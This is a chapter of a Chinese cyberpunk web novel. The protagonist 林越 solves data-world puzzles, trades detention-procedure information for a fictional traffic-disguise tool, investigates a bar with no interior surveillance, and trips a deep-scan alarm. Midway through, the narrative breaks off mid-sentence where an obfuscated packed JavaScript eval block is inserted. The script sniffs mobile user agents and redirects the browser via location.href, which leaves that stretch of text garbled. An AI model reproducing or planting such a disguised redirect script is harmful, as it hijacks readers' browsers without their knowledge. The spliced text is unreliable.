“等等,这是数据世界。”他想,“理性决策者’可能不是人类。” 数据节点的“理性”可能是最大化信用积分,但信用积分在这个世界意味着生存资源。而-20的惩罚相当重。 林越考虑了另一种可能性:系统规则本身有漏洞。 规则说“若双方同时发送,则信息冲突丢失”,但没说“同时”的判断标准。在数据世界,同时性可以精确到纳秒级,但两个节点如果没有时间同步,可能产生误解。 如果节点A认为“我稍微延迟一点发送,就不会同时”,而节点B也这么想…… “那结果就是双方永远试图在对方不发送时发送,但总因为时间误差导致‘同时’。”林越得出结论,“最终结果近似随机,长期期望值……大概-10左右。” 他决定提交这个更符合数据世界现实的答案:“双方采用适应性策略,试图捕捉对方不发送的窗口,但由于时间同步误差,长期平均收益约为-10。系统规则鼓励了这种低效竞争。” 题二通过。 题三:时间戳与数据完整性的矛盾验证 某数据库记录显示:事件X发生时间戳:2035-07-15 14:30:00.000事件Y发生时间戳:2035-07-15 14:30:00.001事件Z日志记录:“在X发生后,Y发生前,处理了数据包P”数据包P的处理记录时间戳:2035-07-15 14:30:00.0005问题:请证明至少有一个时间戳是伪造的,并指出最可能的伪造者是谁。假设系统时钟精度为毫秒级。 林越读了两遍。 “时间戳矛盾。”他立刻看出了问题。 系统时钟精度是毫秒级(.000后缀)。那么: X: 14:30:00.000 Y: 14:30:00.001 P: 14:30:00.0005 P的时间戳是.0005,介于X和Y之间,这本身没问题。但问题在于:.0005不是有效的毫秒表示,因为毫秒级精度只能是.000、.001、.002等整数毫秒。 .0005是半毫秒,超出了系统精度范围。 “所以P的时间戳肯定是伪造的。”林越想,“但题目问‘至少有一个’是伪造的,意思是可能还有更多。” 他检查其他可能: X和Y的时间戳在精度范围内。但Z日志说“在X发生后,Y发生前”,这没问题,除非…… “除非X和Y实际上是同时发生的,但被记录了不同的时间戳。”林越想到了另一种可能。 如果X和Y真正发生的时间都是14:30:00.000(同一毫秒),但记录时被分配了不同的毫秒值(.000和.001),那么Z日志说“在X发生后,Y发生前”就是错误的,因为它们是同时的。 “所以可能X或Y的时间戳也被调整了。”林越分析,“最可能的是Y被延后了1毫秒,以制造顺序。” 那么谁最可能伪造? 数据包P的处理记录需要精确时间戳,伪造者可能是处理者自己,为了证明自己在“正确的时间”做了处理。 但X和Y如果是系统记录的事件,伪造者可能是系统,或者有权限修改系统日志的人。 林越综合考虑,给出了答案:“1) 数据包P的时间戳(.0005)超出系统精度,必伪造。2) 事件Y的时间戳可能被延后1毫秒以制造与X的顺序。3) 最可能的伪造者是系统本身或高级权限者,目的是构造合逻辑的事件序列。” 题三通过。 三道题全部解答完毕。 视野中的气泡突然收缩,然后展开成一个新的界面: 恭喜。你比我想象的快。 临时通讯通道坐标:[一次性加密链接,10分钟后失效] 想聊的话,点进来。——老枪 林越看着那个链接。 十分钟失效。一次性。 “比HR的面试邀请还急。”他吐槽道。 但他没有犹豫。 还剩八分钟时,他点了进去。 视野再次切换。 这次是一个极简的空间:纯黑色背景,中间悬浮着一个白色的输入框。没有其他界面元素,没有说明,没有欢迎语。 典型的加密通讯界面。低调到近乎简陋。 “这加密空间简陋得像是用系统默认模板拼出来的,连个‘欢迎光临’的虚拟横幅都舍不得加。”林越内心吐槽,“老枪的审美,大概和他的代号一样——复古,且实用主义至上。” 林越等了三秒。 输入框里自动出现了一行字,像是打字机效果,一个字一个字跳出来: 老枪:三道题用了4分37秒。比平均快62%。你是系统内部人员? 林越思考了一下回答策略。诚实,但不能透露太多。 他输入:墨客:不是内部人员。只是信息筛选师学徒。 “墨客”——这是他给自己取的代号。不算创意,但符合他现在的处境:在数据世界里摸索的初学者。 老枪:学徒能解出第二题的博弈论变体?有意思。 林越:墨客:以前解决过类似问题。现实世界的囚徒困境更复杂。 老枪:现实世界。这个词用得很有意思。所以你不是本地人? 这个问题很敏感。林越谨慎回应:墨客:我是新长安城的临时公民,正在努力转正。这样说够清楚吗? 老枪:清楚。太清楚了。清楚到像在隐瞒什么。 林越皱眉。对方很敏锐。 老枪:不过无所谓。我不关心你的来历,只关心你的能力。你找这种地方,说明你需要系统之外的东西。我猜是:信息、工具、或者……生存建议? 直击要害。 林越决定坦诚一部分:墨客:我需要在不被系统吃掉的前提下,了解这个世界的真相。包括那些被标记为“重点观察”的人会遭遇什么。 他故意提到“重点观察”,既是试探,也是展示诚意——他透露了自己被系统标记的信息。 对面沉默了五秒。 老枪:重点观察。那你的DNA有问题?异常数据扰动残留? 林越心里一紧。对方知道这个标签的特定含义。 墨客:威胁度42%。而且还在上升。 老枪:……有趣。非常有趣。 老枪:你想知道真相?真相是,新长安城是个巨大的实验场。我们都是实验品。区别在于,有些人是自愿的,有些人是被迫的,有些人是……意外的。 老枪:比如你。 墨客:意外的实验品? 老枪:如果你的威胁度在上升,说明系统在“激活”你。或者说,你在适应这个世界的过程中,触发了某种……共鸣。 老枪:具体原理我不清楚。但我知道结果:威胁度超过50%的人,要么成了系统的高级工具,要么成了重点清除对象。没有第三个选项。 50%阈值。林越记住了这个数字。 他现在是42%。还有8%的空间。 墨客:那我该怎么在到达50%之前,找到出路? 老枪:两个方向。第一,降低威胁度——几乎不可能,除非你能完全隐藏自己的生物特征,但神经接口每时每刻都在扫描。第二,在系统决定你的命运之前,获得足够的筹码。 老枪:筹码可以是信息、工具、权限,或者……一个安全的退路。 墨客:比如你提供的那些? 老枪:比如我能提供的。但需要交换。 老枪:我需要信息筛选师内部的数据观察模式。不是具体数据,而是方法论:系统如何定义“异常行为”,标记“潜在威胁”,评估“社会风险”。 老枪:作为交换,我可以给你进阶的数据防护工具,包括流量伪装、痕迹擦除、身份伪装增强版。 林越思考。 内部筛选技巧——这是他目前唯一有价值的筹码。但如果给了对方,会不会被用于危害他人?比如帮助真正的罪犯规避监控? 他需要判断老枪的意图。 墨客:你要这些方法论做什么? 老枪:自保。 简洁的回答。 老枪:我在这个系统里活了七年。活得久的秘诀不是对抗系统,而是理解它,然后……在它的规则里跳舞。 老枪:我需要知道最新的“舞蹈规则”。 听起来合理。但林越还是谨慎。 墨客:我可以给你基础的异常识别模式,基于我目前接触到的数据层级。但需要你保证不用于主动危害他人。 老枪:保证?在这种地方? 老枪:好吧。我保证:我不会用你给的信息去伤害无辜者。我只需要保护我和我关心的人。 老枪:至于什么是“无辜”,我有我的标准。但至少,我不会成为系统的猎犬。 这个回答足够诚实。林越决定相信——至少暂时相信。 墨客:成交。 老枪:很好。现在,第一次交易。小额的,测试诚意。 老枪:我给你:数据流量伪装工具v1.2(基础版)。作用是让你的数据访问模式看起来像是正常的系统更新流量。持续时间:单次最多2小时,冷却时间8小时。 老枪:你给我的:系统对“数字遗民”的处理流程细节,包括触发条件、抓捕程序、再教育中心的内部规定。不用具体案例,只要通用流程。 林越手头正好有这个信息。昨天目睹那一幕后,他特意查询了相关文档。 墨客:可以。现在交换? 老枪:不。用安全协议。 老枪:我会在匿名数据层放置一个加密容器,坐标稍后发你。你把数据放进去。我会在确认内容后,在另一个坐标放置工具包。全程无直接连接,中间经过三个跳板节点。 老枪:完成时间:30分钟内。过期作废。 老枪:同意? 墨客:同意。 老枪:坐标:[一串加密字符]。祝好运。 界面关闭。 林越回到了灰色数据层。 他看了一眼时间:从他进入这个空间到现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119407|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,过去了十一分钟。 通讯已经结束。现在他需要执行第一次数据交易。 但他没有立刻行动。 既然有了短暂的喘息机会,他想查一下另一件事。 黑水酒吧。 林越通过V3.0后门回到历史数据档案馆,寻找商业注册数据库的访问路径。 他找到了一个入口:“新长安城商业实体注册记录(2010-2040)”。 权限限制:只能查询已注册满一年以上的实体,且不能访问实时状态。 足够了。黑水酒吧如果存在,应该早就注册了。 他输入查询关键词:“黑水酒吧”。 结果很快出现。 实体名称:黑水酒吧 注册类型:娱乐服务业(酒吧/俱乐部) 注册时间:2038年11月15日 注册地址:第七区旧城巷47号 法人代表:[数据缺失] 法人身份代码:[已注销] 法人状态:数字幽灵(身份代码无效,实体关联已断开) 林越盯着那行字:“数字幽灵”。 意思是这个法人代表的身份代码已经被系统注销,理论上这个人已经“不存在”了。但酒吧的注册记录还保留着,而且…… “经营状态:正常营业。” 一个法人不存在的酒吧,正常运营了三年。 林越继续查看详细信息。 经营许可审批记录: 卫生许可:2038-11-20(标准流程) 消防安全:2038-11-22(快速审批,备注:“特殊豁免”) 噪音控制:2038-11-25(标准流程) 监控设备备案:[数据缺失] 监控设备备案缺失。 在新长安城,所有商业场所都必须安装内部监控,并将数据接入城市监控网络。备案缺失意味着……要么没安装,要么安装了但没备案。 林越查询了酒吧地址的公开监控覆盖图。 结果:外部监控覆盖率98.7%(标准),内部监控覆盖率:0%。 零。 一个在新长安城正常营业的酒吧,内部没有任何监控。 “这不可能。”林越喃喃自语,“除非……” 除非它获得了特殊豁免。但什么级别的权限能豁免监控?市长?警察局长?还是……系统本身? 他尝试查询审批记录的详细备注。 在“特殊豁免”条目下,有一小行加密的注释,需要二级权限才能解密。林越的权限不够。 但他看到了签署官员的代号:Auditor-7。 “审计员7号。”林越记住了这个代号。 继续查看酒吧的其他关联记录。 税务记录:正常缴纳,无拖欠。 员工登记:3名(身份信息已脱敏)。 违规记录:0次。 客户投诉:1次(内容:“酒吧播放的音乐太古老”,状态:已处理,结果:无违规)。 一切都干净得异常。 一个没有监控、法人不存在的酒吧,在三年的时间里没有任何违规记录,连客户投诉都只有一次无关痛痒的内容。 要么这是全城最守规矩的酒吧,要么……系统在故意忽略它。 林越想起在龙语世界遇到的黑水组织。同样的名字,同样的灰色地带属性。 “桥梁。”他想起老枪之前说的话,“黑水是桥。” 连接什么?龙语世界和监控世界?还是更多? 他需要更多信息,但目前的权限不够。 林越记下了所有关键信息,然后退出了商业数据库。 现在,该完成和老枪的交易了。 林越根据老枪提供的坐标,在匿名数据层找到了那个加密容器。 它看起来像一个普通的存储节点,表面闪烁着加密标记。访问需要输入一次性密码——老枪已经发给了他。 林越打开了容器的上传接口。 他整理了一下要提供的信息: 1.数字遗民触发条件:神经接口离线超过72小时;或连续三次拒绝系统合规性检查;或社会信用积分低于10分且无改善趋势。 2.抓捕程序:先由系统AI标记,然后派遣“合规执行小组”(2名人类+1个机器人单位);优先使用非致命神经脉冲武器;目标抵抗时可升级武力。 3.再教育中心规定: 第一阶段(1-3天):强制数据接入,输入“社会规范模组”; 第二阶段(4-10天):行为矫正训练,通过虚拟现实场景测试; 第三阶段(11-30天):社会适应性重建,逐步恢复有限权限。 4.关键细节:再教育成功率宣称85%,但“失败”案例的后续状态未公开;整个流程有完整的法律依据,公民无权拒绝。 林越把这些信息打包成加密数据包,设置了解密密钥(老枪知道密码),然后上传。 上传进度条缓慢移动:10%...30%...70%... 他在等待的过程中,同时准备了接收工具包的空间。按照老枪的说法,确认上传后会立即在另一个坐标放置工具包。 90%...100%。 上传完成。 林越立刻切换到接收坐标。 果然,那里出现了一个新的容器。 他下载、解密。 里面是几个数据文件: 流量伪装工具v1.2.mds(主程序) 使用说明.txt(简明教程) 免责声明.txt(“本工具仅用于学习和研究,使用者自行承担风险”) 典型的黑客工具包风格。 “这免责声明,和‘最终解释权归本公司所有’有异曲同工之妙——说了等于没说,但不说又不行。”林越内心吐槽,“不过至少比某些软件的‘我已阅读并同意用户协议’诚实点,那个是真的没人看。” 林越快速扫描了主程序。代码结构清晰,没有明显的恶意代码或后门——至少以他目前的水平看不出来。 他按照说明,在神经接口中“安装”了这个工具。安装过程很简单:数据注入,系统提示“检测到新的数据处理插件,是否授权?”,他选择“是”。 工具激活。 视野边缘出现了一个新的状态图标:伪装模式(未启动)。 同时,他收到了老枪的一条简短消息: 交易完成。工具已生效。下次需要时再联系。保持低调。 然后通讯彻底断开。 林越松了口气。 第一次地下交易,完成得还算顺利。他获得了一个实用的工具,而付出的信息——虽然敏感,但至少没有直接伤害任何人。 他看了一眼时间:下午三点二十分。距离下班还有一个多小时。 要不要现在就测试一下流量伪装工具? 他决定小范围测试。启动伪装模式,然后尝试访问一些平时不敢碰的数据——比如系统监控节点的实时状态查询(只读模式)。 伪装模式启动。 视野中的状态图标变成绿色:“伪装中(剩余时间:1小时59分)”。 林越尝试访问一个低敏感度的监控节点:街道清洁机器人的调度系统。 访问成功。没有警报。 他稍微大胆一点,尝试访问附近街区的公共监控摄像头列表。 访问成功。依然没有警报。 “有效。”林越心想,“至少对低层级数据有效。” 但他没有继续测试高风险目标。谨慎为上。 他关闭了所有非常规访问,回到了正常的筛选工作界面。 就在这时—— 警报。 刺眼的红色突然充斥了整个视野。 巨大的警告窗口强制弹出,盖住了所有其他界面: 警报级别:紧急 检测到:非授权数据访问(来源:历史数据档案馆-V3.0遗留接口) 访问内容:商业注册数据库-敏感实体查询 监控节点:认知异常研究-监控子节点 启动深度扫描协议 倒计时:10秒9秒8秒 林越的心脏骤停。 商业注册数据库查询?黑水酒吧的调查触发的? 但为什么是认知异常监控节点?那不是应该只监控他的DNA状态吗? 除非……黑水酒吧的查询触发了某种关联警报。或者,V3.0后门本身就被认知异常节点特别监控。 倒计时在继续:7秒…6秒… 林越的大脑飞速运转。 选项一:立即断开神经接口。 好处:中断扫描。 风险:触发“离线计时”,72小时后成为数字遗民。 而且扫描可能已经收集了部分数据。 选项二:用防火墙阻挡。 好处:不中断连接。 风险:防火墙只是初级版,对抗系统级的深度扫描成功率估计低于10%。 选项三:向系统报告“误触”。 好处:如果系统接受,可能免于惩罚。 风险:需要解释为什么访问黑水酒吧数据,为什么使用V3.0后门。解释不清会引发更深入调查。 选项四:用刚获得的流量伪装工具尝试掩盖。 好处:如果成功,可能混淆扫描目标。 风险:工具刚获得,未经充分测试。失败可能加重惩罚。 5秒…4秒… 林越做出了决定。 他同时启动了防火墙和流量伪装工具,并将伪装模式调整到最大强度——“模拟系统维护流量”。 然后,他准备了一个备用方案:如果扫描突破防御,他会在最后0.5秒主动断开神经接口,至少保留部分隐私。 3秒…2秒… 伪装工具的状态疯狂闪烁:“检测到高强度扫描流,正在尝试分流…” 防火墙提示:“负载97%,即将过载…” 1秒… 倒计时归零。 视野被刺眼的红色彻底覆盖。 不是窗口,而是整个视野——仿佛眼睛本身在流血。 然后红色开始旋转、扭曲,形成旋涡。旋涡中心传来巨大的吸力,不是物理上的,而是意识层面的。林越感觉自己的思维在被拉扯、撕裂。 神经接口强制接入了某个高优先级数据流。 不是他平时接触的那种温和的、结构化数据。而是……原始的信息洪流。 无数画面、声音、文字、符号、代码同时涌入。 他看到: 一个实验室,穿着白大褂的人围着一个透明的容器,里面悬浮着某种生物组织样本,样本表面闪烁着DNA螺旋的光泽。 一份研究报告的标题:“异常数据传导理论与认知异常激活实验”。 一张监控截图,地点是黑水酒吧门口,时间戳:三天前的晚上。截图里有一个模糊的人影,正走进酒吧。 一份人员名单,标题:“异常数据模式威胁度超过40%的观察对象”。名单不长,大概七八个名字。他在中间看到了自己的公民编号。 一个警告标志:黑水滴形状。标志下面有一行小字:“桥梁守护者协议-激活状态